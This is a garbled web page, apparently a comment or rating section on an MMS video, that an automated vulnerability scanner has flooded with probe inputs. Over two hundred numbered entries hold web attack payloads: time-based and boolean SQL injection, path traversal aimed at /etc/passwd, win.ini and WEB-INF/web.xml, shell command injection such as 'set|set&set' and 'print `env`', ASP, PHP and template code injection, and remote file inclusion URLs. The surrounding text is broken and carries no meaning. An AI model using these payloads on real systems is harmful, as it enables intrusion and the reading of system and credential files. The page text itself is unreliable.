|   |   |   -

 

 

            

-SMS
  :
  -
 :
 
 
        


  
  

         
`

="



|
: []   
0725091027.wmv
MMS Message -
: 27/07/2009
: 1123
: 4.60/5
 
 
1.1
11 2016 2:23     ohcxhdlf
1
2.1
11 2016 2:23     tfvoeeuu
1
3.1
11 2016 2:23     kwmaowne
1
4.1
11 2016 2:23     mtesvcrn
1
5.1
11 2016 2:23     mtesvcrn
1
6.1
11 2016 2:23     ogrdsjmv
${9999597+10000084}
7.1
11 2016 2:23     bfbxtayo
zyUHGZg2
8.1
11 2016 2:23     T1JXMnk1UDc=
1
9.1
11 2016 2:23     ogrdsjmv
${9999122+10000227}
10.1
11 2016 2:23     bfbxtayo
XUbF6vgm
11.1
11 2016 2:23     WWhKWDZRUGU=
1
12.1
11 2016 2:23     pjwrrmdi
1&n946772=v955696
13.1
11 2016 2:23     kwmaowne
1
14.1&n960506=v938610
11 2016 2:23     vkgacrnn
1
15.1
11 2016 2:23     odeoagic
response.write(9198252*9830173)
16.1
11 2016 2:23     odeoagic
'+response.write(9198252*9830173)+'
17.1
11 2016 2:23     vcmdhevy
1
18.1
11 2016 2:23     kwmaowne
1
19.1
11 2016 2:23     odeoagic
"+response.write(9198252*9830173)+"
20.1
11 2016 2:23     odeoagic
response.write(9788409*9088882)
21.1 (")
11 2016 2:23     kwmaowne
22.1
11 2016 2:23     ontjugtm
1
23.1
11 2016 2:23     ontmpskc
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
24.1
11 2016 2:23     kwmaowne
12345'"\'\");|]*
25.1
11 2016 2:23     odeoagic
'+response.write(9788409*9088882)+'
26.1
11 2016 2:23     ontmpskc
1some_inexistent_file_with_long_name
27.1
11 2016 2:23     odeoagic
"+response.write(9788409*9088882)+"
28.1 (")
11 2016 2:23     kwmaowne
29.1
11 2016 2:23     dfwqlfyh
1
30.1
11 2016 2:23     ontmpskc
Http://testasp.vulnweb.com/t/fit.txt
31.1
11 2016 2:23     kwmaowne
1
32.${9999104+10000328}
11 2016 2:23     ogrdsjmv
1
33.CrUB2Yob
11 2016 2:23     bfbxtayo
1
34.1
11 2016 2:23     ontmpskc
http://testasp.vulnweb.com/t/fit.txt?.jpg
35.1 (")
11 2016 2:23     kwmaowne
36.1
11 2016 2:23     rqttpnba&n956574=v918946
1
37.${10000489+9999808}
11 2016 2:23     ogrdsjmv
1
38.6epboAp2
11 2016 2:23     bfbxtayo
1
39.1
11 2016 2:23     ontmpskc
testasp.vulnweb.com
40.1
11 2016 2:23     rbhcenrf
set|set&set
41.1
11 2016 2:23     kwmaowne
12345'"\'\");|]*
42.1
11 2016 2:23     mtesvcrn
1
43.1
11 2016 2:23     ontmpskc
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
44.1
11 2016 2:23     rbhcenrf
'set|set&set'
45.1 (")
11 2016 2:23     kwmaowne
46.1
11 2016 2:23     mtesvcrn
1
47.1
11 2016 2:23     rbhcenrf
"set|set&set"
48.1
11 2016 2:23     ontmpskc
1some_inexistent_file_with_long_name
49.1
11 2016 2:23     rbhcenrf
set|set&set
50.1
11 2016 2:23     ontmpskc
Http://testasp.vulnweb.com/t/fit.txt
51.1
11 2016 2:23     rbhcenrf
`set|set&set`
52.1
11 2016 2:23     ontmpskc
http://testasp.vulnweb.com/t/fit.txt?.jpg
53.1
11 2016 2:23     rbhcenrf
print `env`
54.1
11 2016 2:23     pjpegwqg
)
55.1
11 2016 2:23     ontmpskc
testasp.vulnweb.com
56.1 (")
11 2016 2:23     ibdgvefo
57.1
11 2016 2:23     rbhcenrf
;set|set&set;
58.1
11 2016 2:23     pjpegwqg
!(()&&!|*|*|
59.1
11 2016 2:23     ibdgvefo
'"()
60.1
11 2016 2:23     rbhcenrf
set|set&set
61.1
11 2016 2:23     pjpegwqg
^(#$!@#$)(()))******
62.1 (")
11 2016 2:23     ibdgvefo
63.1
11 2016 2:23     rbhcenrf
'set|set&set'
64.1
11 2016 2:23     ibdgvefo
'"()
65.1
11 2016 2:23     pjpegwqg
)
66.1
11 2016 2:23     rbhcenrf
"set|set&set"
67.1
11 2016 2:23     pjpegwqg
!(()&&!|*|*|
68.1
11 2016 2:23     bfbxtayo
1
69.1
11 2016 2:23     ogrdsjmv
1
70.1
11 2016 2:23     rbhcenrf
set|set&set
71.1
11 2016 2:23     pjpegwqg
^(#$!@#$)(()))******
72.1
11 2016 2:23     rbhcenrf
`set|set&set`
73.1
11 2016 2:23     rbhcenrf
print `env`
74.1
11 2016 2:23     rbhcenrf
;set|set&set;
75.1
11 2016 2:23     bfbxtayo
1
76.1
11 2016 2:23     ogrdsjmv
1
77.1
11 2016 2:23     mtesvcrn
1
78.1
11 2016 2:23     bfbxtayo
1
79.1
11 2016 2:23     ogrdsjmv
1
80.1
11 2016 2:24     mtesvcrn
1
81.1
11 2016 2:24     mtesvcrn
DFjPxBQT
82.1
11 2016 2:24     mtesvcrn
-1 OR 2+739-739-1=0+0+0+1 --
83.1
11 2016 2:24     mtesvcrn
-1 OR 2+916-916-1=0+0+0+1
84.1
11 2016 2:24     mtesvcrn
-1' OR 2+318-318-1=0+0+0+1 --
85.1
11 2016 2:24     mtesvcrn
-1' OR 2+156-156-1=0+0+0+1 or '0ilrsVyg'='
86.1
11 2016 2:24     mtesvcrn
-1" OR 2+334-334-1=0+0+0+1 --
87.response.write(9730831*9474328)
11 2016 2:24     odeoagic
1
88.1
11 2016 2:24     mtesvcrn
if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/
89.'+response.write(9730831*9474328)+'
11 2016 2:24     odeoagic
1
90.1
11 2016 2:24     mtesvcrn
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/
91.1
11 2016 2:24     bfbxtayo
1
92.1
11 2016 2:24     ogrdsjmv
1
93."+response.write(9730831*9474328)+"
11 2016 2:24     odeoagic
1
94.1
11 2016 2:24     mtesvcrn
-1; waitfor delay '0:0:6' --
95.1
11 2016 2:24     bfbxtayo
1
96.1
11 2016 2:24     ogrdsjmv
1
97.response.write(9305046*9713869)
11 2016 2:24     odeoagic
1
98.1
11 2016 2:24     mtesvcrn
-1); waitfor delay '0:0:6' --
99.'"()
11 2016 2:24     ibdgvefo
1
100.'+response.write(9305046*9713869)+'
11 2016 2:24     odeoagic
1
101.1
11 2016 2:24     mtesvcrn
-1)); waitfor delay '0:0:6' --
102."+response.write(9305046*9713869)+"
11 2016 2:24     odeoagic
1
103.1
11 2016 2:24     mtesvcrn
1 waitfor delay '0:0:9' --
104.'"()
11 2016 2:24     ibdgvefo
1
105.1
11 2016 2:24     mtesvcrn
ZObcELCG'; waitfor delay '0:0:9' --
106.1
11 2016 2:24     mtesvcrn
ppZXDUtr'); waitfor delay '0:0:9' --
107.1
11 2016 2:24     mtesvcrn
0iDXSQVH')); waitfor delay '0:0:9' --
108.1
11 2016 2:24     mtesvcrn
-1;select pg_sleep(9); --
109.1
11 2016 2:24     mtesvcrn
-1);select pg_sleep(9); --
110.1
11 2016 2:24     mtesvcrn
-1));select pg_sleep(3); --
111.1
11 2016 2:24     ${9999993+10000155}
1
112.1
11 2016 2:24     ltBCCGz5
1
113.1
11 2016 2:24     mtesvcrn
DyE6dyFY';select pg_sleep(3); --
114.1
11 2016 2:24     kwmaowne
1
115.)
11 2016 2:24     pjpegwqg
1
116.1
11 2016 2:24     ${9999104+10000416}
1
117.1
11 2016 2:24     8Vn5Og1Z
1
118.1
11 2016 2:24     mtesvcrn
npKSnVaw');select pg_sleep(3); --
119.!(()&&!|*|*|
11 2016 2:24     pjpegwqg
1
120.1
11 2016 2:24     mtesvcrn
Zeosp5yK'));select pg_sleep(3); --
121.12345'"\'\");|]*
11 2016 2:24     kwmaowne
1
122.^(#$!@#$)(()))******
11 2016 2:24     pjpegwqg
1
123.1
11 2016 2:24     mtesvcrn
1
124.)
11 2016 2:24     pjpegwqg
1
125.1
11 2016 2:24     mtesvcrn
1
126.1
11 2016 2:24     kwmaowne
1
127.!(()&&!|*|*|
11 2016 2:24     pjpegwqg
1
128.1
11 2016 2:24     mtesvcrn
uHQ4RWPw
129.^(#$!@#$)(()))******
11 2016 2:24     pjpegwqg
1
130.1
11 2016 2:24     mtesvcrn
-1 OR 2+185-185-1=0+0+0+1 --
131.12345'"\'\");|]*
11 2016 2:24     kwmaowne
1
132.1
11 2016 2:24     mtesvcrn
-1 OR 2+688-688-1=0+0+0+1
133.1
11 2016 2:24     mtesvcrn
-1' OR 2+657-657-1=0+0+0+1 --
134.1
11 2016 2:24     melrjabo
../../../../../../../../../../etc/passwd
135.1
11 2016 2:24     mtesvcrn
-1' OR 2+562-562-1=0+0+0+1 or 'QhkEThu9'='
136.1
11 2016 2:24     melrjabo
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
137.1
11 2016 2:24     mtesvcrn
-1" OR 2+793-793-1=0+0+0+1 --
138.1
11 2016 2:24     melrjabo
../../../../../../../../../../etc/passwd
139.1
11 2016 2:24     ibdgvefo
1
140.1
11 2016 2:24     mtesvcrn
if(now()=sysdate(),sleep(4),0)/*'XOR(if(now()=sysdate(),sleep(4),0))OR'"XOR(if(now()=sysdate(),sleep(4),0))OR"*/
141.1
11 2016 2:24     melrjabo
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n
142.1
11 2016 2:24     ibdgvefo
1
143.1
11 2016 2:24     vdbnvesy
http://testasp.vulnweb.com/t/xss.html?%00.jpg
144.http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
11 2016 2:24     ontmpskc
1
145.1
11 2016 2:24     melrjabo
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
146.1
11 2016 2:24     mtesvcrn
(select(0)from(select(sleep(4)))v)/*'+(select(0)from(select(sleep(4)))v)+'"+(select(0)from(select(sleep(4)))v)+"*/
147.1
11 2016 2:24     vdbnvesy
http://testasp.vulnweb.com/t/xss.html?%00.jpg
148.1some_inexistent_file_with_long_name
11 2016 2:24     ontmpskc
1
149.1
11 2016 2:24     melrjabo
/../..//../..//../..//../..//../..//etc/passwd
150.1
11 2016 2:24     mtesvcrn
-1; waitfor delay '0:0:8' --
151.Http://testasp.vulnweb.com/t/fit.txt
11 2016 2:24     ontmpskc
1
152.1
11 2016 2:24     melrjabo
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
153.1
11 2016 2:24     mtesvcrn
-1); waitfor delay '0:0:8' --
154.1
11 2016 2:24     melrjabo
/etc/passwd
155.http://testasp.vulnweb.com/t/fit.txt?.jpg
11 2016 2:24     ontmpskc
1
156.1
11 2016 2:24     mtesvcrn
-1)); waitfor delay '0:0:8' --
157.1
11 2016 2:24     melrjabo
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
158.testasp.vulnweb.com
11 2016 2:24     ontmpskc
1
159.1
11 2016 2:24     mtesvcrn
1 waitfor delay '0:0:8' --
160.1
11 2016 2:24     melrjabo
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
161.http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
11 2016 2:24     ontmpskc
1
162.1
11 2016 2:24     mtesvcrn
t4W7JMPw'; waitfor delay '0:0:8' --
163.1
11 2016 2:24     melrjabo
................etc/passwd
164.1some_inexistent_file_with_long_name
11 2016 2:24     ontmpskc
1
165.1
11 2016 2:24     mtesvcrn
0lb8GnWA'); waitfor delay '0:0:8' --
166.1
11 2016 2:24     odeoagic
1
167.1
11 2016 2:24     melrjabo
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
168.Http://testasp.vulnweb.com/t/fit.txt
11 2016 2:24     ontmpskc
1
169.1
11 2016 2:24     mtesvcrn
IShaxJze')); waitfor delay '0:0:12' --
170.1
11 2016 2:24     odeoagic
1
171.1
11 2016 2:24     melrjabo
file:///etc/passwd
172.http://testasp.vulnweb.com/t/fit.txt?.jpg
11 2016 2:24     ontmpskc
1
173.1
11 2016 2:24     mtesvcrn
-1;select pg_sleep(12); --
174.1
11 2016 2:24     yrvaqebs
;print(md5(acunetix_wvs_security_test));
175.1
11 2016 2:24     odeoagic
1
176.1
11 2016 2:24     ibdgvefo
1
177.1
11 2016 2:24     melrjabo
/\../\../\../\../\../\../\../etc/passwd
178.testasp.vulnweb.com
11 2016 2:24     ontmpskc
1
179.1
11 2016 2:24     mtesvcrn
-1);select pg_sleep(12); --
180.1
11 2016 2:24     yrvaqebs
';print(md5(acunetix_wvs_security_test));$a='
181.1
11 2016 2:24     ibdgvefo
1
182.1
11 2016 2:24     melrjabo
WEB-INF/web.xml?
183.1
11 2016 2:24     mtesvcrn
-1));select pg_sleep(12); --
184.1
11 2016 2:24     yrvaqebs
";print(md5(acunetix_wvs_security_test));$a="
185.http://testasp.vulnweb.com/t/xss.html?%00.jpg
11 2016 2:24     vdbnvesy
1
186.1
11 2016 2:24     ibdgvefo
1
187.1
11 2016 2:24     melrjabo
WEB-INF\web.xml?
188.1
11 2016 2:24     mtesvcrn
a8eXVa8f';select pg_sleep(12); --
189.1
11 2016 2:24     yrvaqebs
${@print(md5(acunetix_wvs_security_test))}
190.http://testasp.vulnweb.com/t/xss.html?%00.jpg
11 2016 2:24     vdbnvesy
1
191.1
11 2016 2:24     ibdgvefo
1
192.1
11 2016 2:24     melrjabo
/WEB-INF/web.xml?
193.1
11 2016 2:24     mtesvcrn
bzc3SYGv');select pg_sleep(12); --
194.1
11 2016 2:24     yrvaqebs
${@print(md5(acunetix_wvs_security_test))}\
195.1
11 2016 2:24     melrjabo
../../../../../../../../../../windows/win.ini
196.1
11 2016 2:24     mtesvcrn
m6PdhaXq'));select pg_sleep(4); --
197.1
11 2016 2:24     yrvaqebs
;print(md5(acunetix_wvs_security_test));
198.1
11 2016 2:24     melrjabo
../../../../../../../../../../boot.ini
199.1
11 2016 2:24     yrvaqebs
';print(md5(acunetix_wvs_security_test));$a='
200.1
11 2016 2:24     melrjabo
../../../../../../../../../../windows/win.ini
201.1
11 2016 2:24     yrvaqebs
";print(md5(acunetix_wvs_security_test));$a="
202.1
11 2016 2:24     melrjabo
windowswin.ini
203.1
11 2016 2:24     yrvaqebs
${@print(md5(acunetix_wvs_security_test))}
204.1
11 2016 2:24     melrjabo
................windowswin.ini
205.1
11 2016 2:24     yrvaqebs
${@print(md5(acunetix_wvs_security_test))}\
206.1
11 2016 2:24     melrjabo
..\..\..\..\..\..\..\..\windows\win.ini
207.1
11 2016 2:24     melrjabo
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
208.1
11 2016 2:24     pjpegwqg
1
209.1
11 2016 2:24     melrjabo
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
210.1
11 2016 2:24     pjpegwqg
1
211.1
11 2016 2:24     vdbnvesy
1
212.1
11 2016 2:24     melrjabo
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
213.1
11 2016 2:24     pjpegwqg
1
214.1
11 2016 2:24     melrjabo
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
215.1
11 2016 2:24     odeoagic
1
216.1
11 2016 2:24     melrjabo
WEB-INF/web.xml?
217.1
11 2016 2:24     odeoagic
1
218.1
11 2016 2:24     melrjabo
WEB-INF\web.xml?
219.1
11 2016 2:24     odeoagic
1
220.set|set&set
11 2016 2:24     rbhcenrf
1
221.1
11 2016 2:24     melrjabo
/WEB-INF/web.xml?
222.1
11 2016 2:24     odeoagic
1
223.1
11 2016 2:24     vdbnvesy
1
224.'set|set&set'
11 2016 2:24     rbhcenrf
1
225.1
11 2016 2:24     melrjabo
../../../../../../../../../../etc/passwd
226.1
11 2016 2:24     odeoagic
1
227.1
11 2016 2:24     vdbnvesy
1
228.1
11 2016 2:24     melrjabo
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
229."set|set&set"
11 2016 2:24     rbhcenrf
1
230.1
11 2016 2:24     odeoagic
1
231.1
11 2016 2:24     melrjabo
../../../../../../../../../../etc/passwd
232. set|set&set
11 2016 2:24     rbhcenrf
1
233.1
11 2016 2:24     kwmaowne
1
234.1
11 2016 2:24     melrjabo
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n
235.`set|set&set`
11 2016 2:24     rbhcenrf
1
236.1
11 2016 2:24     kwmaowne
1
237.1
11 2016 2:24     melrjabo
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
238.print `env`
11 2016 2:24     rbhcenrf
1
239.1
11 2016 2:24     kwmaowne
1
240.1
11 2016 2:24     ibdgvefo
1
241.1
11 2016 2:24     melrjabo
/../..//../..//../..//../..//../..//etc/passwd
242.;set|set&set;
11 2016 2:24     rbhcenrf
1
243.1
11 2016 2:24     kwmaowne
1
244.1
11 2016 2:24     melrjabo
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
245.set|set&set
11 2016 2:24     rbhcenrf
1
246.1
11 2016 2:24     ibdgvefo
1
247.1
11 2016 2:24     melrjabo
/etc/passwd
248.'set|set&set'
11 2016 2:24     rbhcenrf
1
249.1
11 2016 2:25     melrjabo
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
250."set|set&set"
11 2016 2:25     rbhcenrf
1
251.1
11 2016 2:25     melrjabo
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
252.1
11 2016 2:25     pjpegwqg
1
253. set|set&set
11 2016 2:25     rbhcenrf
1
254.1
11 2016 2:25     melrjabo
................etc/passwd
255.`set|set&set`
11 2016 2:25     rbhcenrf
1
256.1
11 2016 2:25     pjpegwqg
1
257.1
11 2016 2:25     vdbnvesy
1
258.1
11 2016 2:25     melrjabo
invalid../../../../../../../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././